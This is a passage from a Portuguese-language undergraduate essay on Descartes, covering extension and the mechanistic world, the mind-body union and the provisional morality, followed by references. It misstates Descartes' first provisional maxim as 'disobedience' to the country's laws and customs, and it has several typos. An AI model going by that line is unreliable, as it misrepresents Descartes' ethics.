reduz ao ato de pensar e atua diretamente naquelas que se mostram passivas.

A
imaginação e todas as faculdades sensoriais também são atestadas por Deus que
as criou, pois se estas fossem enganosas quem as causou igualmente a elas
seria, logo elas revelam que não são e que a existência de um mundo corpóreo é
decorrente desse preceito.

Mas
Descartes assinala, não é preciso assentir com todas as coisas que os sentidos
emitem, nem tão pouco negá-los no geral. Nesse sentido, nosso filósofo responde
a tal assertiva aplicando o método das idéias claras e distintas. Segundo ele,
as que salvaguardarem essas propriedades podem ser admitidas como reais.

Assim,
somente podem ser extraídas desse procedimento, concedidas claras e
distintamente entre as coisas sensíveis, a extensão. “Com efeito, toda outra
coisa que se pode atribuir ao corpo pressupõe a extensão, sendo apenas algum
modo da própria coisa extensa como também todas as coisas que encontramos na
mente são somente modos diversos de pensar”. (REALE, ANTISERI, 2005 p. 373)

Descartes
define, portanto, como constitutivo essencial do mundo a propriedade da
extensão.

Se a
res cogitans liga-se ao mundo espiritual, a res extensa constitui o mundo
material. Ambas possuem caracteres próprios; cumpre-se dizer que a propriedade
extensa é divisível, à medida que a outra não se divide em partes por ser
intelectiva.

A
substância extensa comporta os atributos de grandeza, movimento e de
numerabilidade, que possibilita-lhe clareza e distinção. Já no que se refere a
cor, o cheiro, o sabor, etc. são dadas mais como qualidades subjetivas que
atributos objetivos da res extensa.

Tais
proposições Descartes retoma de Galileu e as conduz a uma revolução sem
tamanho, a revolução científica.

Nosso
filósofo reduz toda a matéria à extensão, divide a realidade global em res
cogitans e res extensa e explicao mundo físico através do movimento e extensão.
Descartes ainda acrescenta que a dinamicidade das coisas refere-se à quantidade
de movimento que Deus injetou no mundo, e que por sinal permanece o mesmo. Isso
quer dizer que o universo na sua totalidade é constituído tão somente do
movimento da matéria.

O
pensamento cartesiano sugere a realidade extensa como algo homogêneo desprovido
de profundidades. Por outros termos, o vácuo é impensável, pois o que existe
são partículas em movimento, dado que produzem por exemplo o calor, a luz, as
funções fisiológicas e todas aquelas independentes da vontade humana.

Essas
propriedades (extensão e movimento) acabam por traduzir no pensamento
cartesiano a idéia de um universo mecanizado e repleto de quantificações. As
leis que regem o ir e vir da matéria extensa são, segundo o cartesianismo, o
princípio da conservação em que a quantidade do movimento mantém-se constante,
o princípio da inércia, pelo qual os corpos atuam sempre no mesmo estado e o
último princípio onde as coisas tendem em andar em linha reta. Em si, esses
princípios explicam os fenômenos da natureza e a estruturação do universo.

Sendo
as bases do pensamento cartesiano extraídas do conhecimento matemático,
Descartes também faz refletir nos fenômenos da natureza e na estruturação do
universo essa acepção. Ele compara com “um imenso relógio mecânico, composto de
inúmeras rodas dendadas, os vórtices fazem com que se engrenem, de modo a
impelirem-se uma à outra para adiante.”. (REALE, ANTISERI 2005, 375)

Nesse
contexto é válido e necessário ressaltar que a razão não se exclui. Os modelos
mecânicos interagem com a precisão dos raciocínios, de modo não imediato é
claro, mas após arduamente construí-los. Ocorre nesse sentido, o processo da
efetivação da evidência figurativa por meio dos preceitos fixados pela razão.

Em
contrastes com as idéias tradicionais que se serviam somente da razão abstrata,
o mundo mecanizado proposto por Descartes inter-relaciona a unidade
experimental e racional e os põe na praticidade. Além disso, todas as coisas
passam a ser objetos de análise científica, sejam os animais até o corpo
humano, que também são tidos como máquinas. O sopro de vida no pensamento
cartesiano nada mais é que uma entidade material responsável por difundir
através do sangue as funções do organismo. Assim Descartes nega a existência da
alma vegetativa e sensitiva e qualquer outro principio vital autônomo no homem.

A Visão Cartesiana do Homem

A constituição do homem diferencia-o essencialmente dos outros animais.
Estão presentes nele a re cogitans e a res extensa, mesmo que distintas entre
si. A res cogitans está para a alma, assim como a res extensa está para o
corpo. Entretanto, entende-se alma não no seu sentido vital, mas enquanto
pensamento. A alma seria a “realidade inextensa, ao passo que o corpo é
extenso”. O que as liga segundo Descartes é uma porção do cérebro chamada
glândula pineal.

Destarte fica claro que o homem possui ações dependentes da sua vontade e
outras que agem involuntariamente, e essas são causadas diretamente na alma. O
mundo mecanizado reflete nela aquelas ações movidas pela percepção e emoção.
Mas ainda fica evidente que a força da alma está em vencer as emoções, isso
porque a propriedade emotiva debilita o homem. Essa, porém, seria apenas sua
face negativa. Por outro lado, a positividade das emoções está no fato destas
atuarem na relação corpo e alma, de tal modo que instigam a perfeição do corpo
por meio da alma. Nessa linha consensual tanto a tristeza quanto a alegria são
consideradas como emoções fundamentais. Sobre a alegria, a alma rete aquilo que
é útil ao corpo e sobre a tristeza, a alma adverte as coisas que o prejudica.

Embora existam emoções benéficas provocadas pelo corpo e assimiladas pela
alma, em sua essência todas tendem a escravizar o homem, o que o incita a
libertar-se delas. Para tanto, o homem deve guiar-se pela razão, pois esta
separa clara e distintamente não só o pensamento, mas também as emoções para o
bem viver, e nisso consiste a verdadeira sabedoria.

 

Descartes e sua Moral Interina

Ao
passo que restitui a centralidade no homem e no expoente racional, Descartes
implanta o livre-arbítrio no primeiro por meio da ação do segundo, sem excluir
a nocividade das paixões. Nesse sentido, ele cria regras referenciais para
sobrepor a razão em meios as emoções, e esta ele denominou de Moral
Provisória. Contudo, Descartes não se preocupou em expor sua moral definitiva
justificada no método.

A
primeira regra considera a desobediência às leis e aos costumes do país, bem
como o respeito às religiões e as opiniões desprovidas de excessos. O crivo
dessa norma reside em dois segmentos: a vida prática e a contemplação da
verdade. Na realidade a primeira incide pela ação da vontade em antecipação ao
ato da evidência, enquanto o segundo contrariamente obriga a decidir-se senão
quando se alcança a evidência. Por tudo isso é que a contemplação liga-se a
evidência e a vida prática a probabilidade.

A
segunda norma apresenta a máxima que consiste em “ser o mais firme e resoluto
que pudesse em minhas ações, e não seguir com menos constância as opiniões mais
duvidosas, uma vez que por elas me tivesse determinado, do que as seguiria se
fossem muitos seguras”. (DESCARTES, 1997 p.29) Esta regra
sugere a necessidade de agirmos, mesmo na ausência de elementos seguros, ou seja,
atestados pela razão.

A
terceira regra propõe ao homem mudar antes a si que os elementos exteriores, e
mudar antes seus pensamentos que a ordem do mundo. Nessa norma Descartes deixa
transparecer em consonância com seu pensamento, que a razão é a única fonte
segura para bem conduzirmos o bem viver.

Mas
Descartes ainda acrescenta uma quarta regra como ápice das três anteriores. Ele
indica que devemos viver continuamente ascendendo ao conhecimento verdadeiro
por meio da razão como aos homens, que se enforma nas lápides da clareza e da
distinção.

Suscitando
essa questão, as normas da ética cartesiana reforçam a sobreposição da razão à
vontade. A virtude, neste caso se entrelaça com essa disposição. Quanto à
liberdade, Descartes segue esse mesmo caminho; a liberdade se submete a força
do intelecto a medida que este ultime descobre-se dentro e fora de si.

Na
profundidade do pensamento cartesiano, a verdade torna-se condicionante para o
homem considerar-se livre. O verdadeiro proporciona-lhe obedecer a si mesmo
pelo fato que a verdade mais absoluta- a res cogitans- trata-se do próprio eu,
logo seguir a verdade significa seguir a si mesmo. A razão ultrapassa assim o
nível do intelecto e adentra no campo da ação. Por esse fato Descartes dá uma
reviravolta em todo o pensamento filosófico.

 

Considerações Finais

O
contributo do pensamento cartesiano torna-se inegável quando observamos as
conseqüências que ele deixou para a história do pensamento. A dúvida fez
emergir o método e a confiança na capacidade cognoscível do homem e dela aquele
inabalável racionalismo. As estruturas filosóficas também não passaram
despercebidas; de ciência da contemplação chegou a emaranhar teoria e prática
num mesmo segmento, eram as luzes da ciência que se acendiam.

Esse
desenrolar criou uma visão de mundo totalmente mecanizada. A composição do
universo e dos corpos nele contido, segundo Descartes é somente a matéria e o
movimento.

Descartes
lança mão desse modo de um puro objetivismo sem se dar conta que sensações e
emoções atuam na mente humana no mesmo plano da nossa racionalidade. Estudos já
comprovam que não é possível separar inteiramente em nossos comportamentos a
parte racional desligada da parte emotiva, o que revela que nosso corpo e nossa
mente estão em contínua relação.

 

 

Referência:

 

  • ANTISERI, Dario;
    REALE, Geovanni. História da Filosofia. 07 ed. São Paulo – SP. Paulus,
    2005.
  • DESCARTES, René.
    Discurso do Método. Coleção Clássicos Filosofia. Ed. Martins Fontes,
    1997.
  • ABBAGNANO,
    Nicola. História da Filosofia. Tradução: Antonio Ramos Rosa. 5. ed. –
    Lisboa. Presença, 2000.

 


[1]
Artigo elaborado para verificação de aprendizagem da disciplina História da
Filosofia Moderna.

[2]
Acadêmica de Licenciatura em Filosofia na Faculdade de Filosofia, Ciências e
Letras de Cajazeiras – FAFIC.


[1]
Artigo elaborado para verificação de aprendizagem da disciplina História da
Filosofia Moderna.

[2]
Acadêmica de Licenciatura em Filosofia na Faculdade de Filosofia, Ciências e
Letras de Cajazeiras – FAFIC.

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